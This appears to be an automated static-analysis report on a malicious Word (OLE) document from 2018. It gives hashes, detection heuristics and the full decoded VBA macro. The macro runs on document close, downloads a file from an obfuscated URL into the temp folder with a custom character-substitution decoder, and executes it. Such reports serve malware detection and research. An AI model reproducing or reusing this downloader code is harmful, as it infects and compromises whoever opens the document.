Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52aaea3977a99080…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-06-22 02:32:00 Authoring application: Microsoft Office Word First seen: 2018-07-27
MD5: f8b3e6a4c74e3bfe27c1adaf6ed1d7f9 SHA-1: 109f0801111517a90a41baee148a6bd2aeb702a3 SHA-256: 52aaea3977a99080fb9004cb330048d5057536dd635f5450c36b438cae6256e2
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize `CreateObject` to instantiate `microsoft.xmlhttp` and `Shell.Application` objects. It then proceeds to download a file from a heavily obfuscated URL, `hÖÖÓ://ÕÂÀÒÖÕ.ÁÒm.ÀÙ/ÀÓÓlÄÁÀÖÄÒÅ/ÁÒÅÖÔÒllÂÔÕ/ÀdmÄÅ/bÄÅ/bÄÅ4/bÄÅ.ÂÛÂ`, into the temporary directory and executes it. This behavior is indicative of a downloader malware.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    VBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNM = SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set GWTUTVOLOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJOSQFMVGPNIXCCCEWSWMSRZCDYLTPHYZKXBHMWEX = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGP = Environ("tmp") + CPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQ("\äWFÚXäå.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5414 bytes
SHA-256: 3c6fc3cbd51187dd5ed61fcb381e8a410782035b4fb3be6460c100451e07027d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGP
Dim GWTUTVOLOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJOSQFMVGPNIXCCCEWSWMSRZCDYLTPHYZKXBHMWEX
Set GWTUTVOLOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJOSQFMVGPNIXCCCEWSWMSRZCDYLTPHYZKXBHMWEX = CreateObject("Shell.Application")

Dim SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL
Set SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL = CreateObject("microsoft.xmlhttp")

NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGP = Environ("tmp") + CPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQ("\äWFÚXäå.ÂÛÂ")
SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL.Open "GET", CPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQ("hÖÖÓ://ÕÂÀÒÖÕ.ÁÒm.ÀÙ/ÀÓÓlÄÁÀÖÄÒÅ/ÁÒÅÖÔÒllÂÔÕ/ÀdmÄÅ/bÄÅ/bÄÅ4/bÄÅ.ÂÛÂ"), False
SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL.send
VBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNM = SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL.responseBody
If SWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHL.Status = 200 Then
Set ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG = CreateObject("adodb.stream")
ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG.Open
ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG.Type = 1
ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG.Write VBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNM
ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG.SaveToFile NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGP, 2
ZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCG.Close
End If
GWTUTVOLOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJOSQFMVGPNIXCCCEWSWMSRZCDYLTPHYZKXBHMWEX.Open (NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGP)


End Sub

    Public Function CPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQ(BKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDK)
        FRZNZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOO = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        OQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPR = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(BKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDK)
            FRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJMNSE = InStr(FRZNZGDMEPHMPNSCJMNSECQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOO, Mid(BKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDK, i, 1))
            If FRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJMNSE > 0 Then
                CQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYL = Mid(OQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPR, FRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJMNSE, 1)
                EMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR = EMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR + CQRHKUXSJGHGIBEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYL
            Else
                EMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR = EMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR + Mid(BKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUDFGCOVSKBDMBDK, i, 1)
            End If
        Next
        CPTZOXNZIOIHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQ = EMOPLXMCTRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQBKIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR
    End Function

Attribute VB_Name = "NewMacros"
Sub shest()
'
' shest Macro
'
'

End Sub

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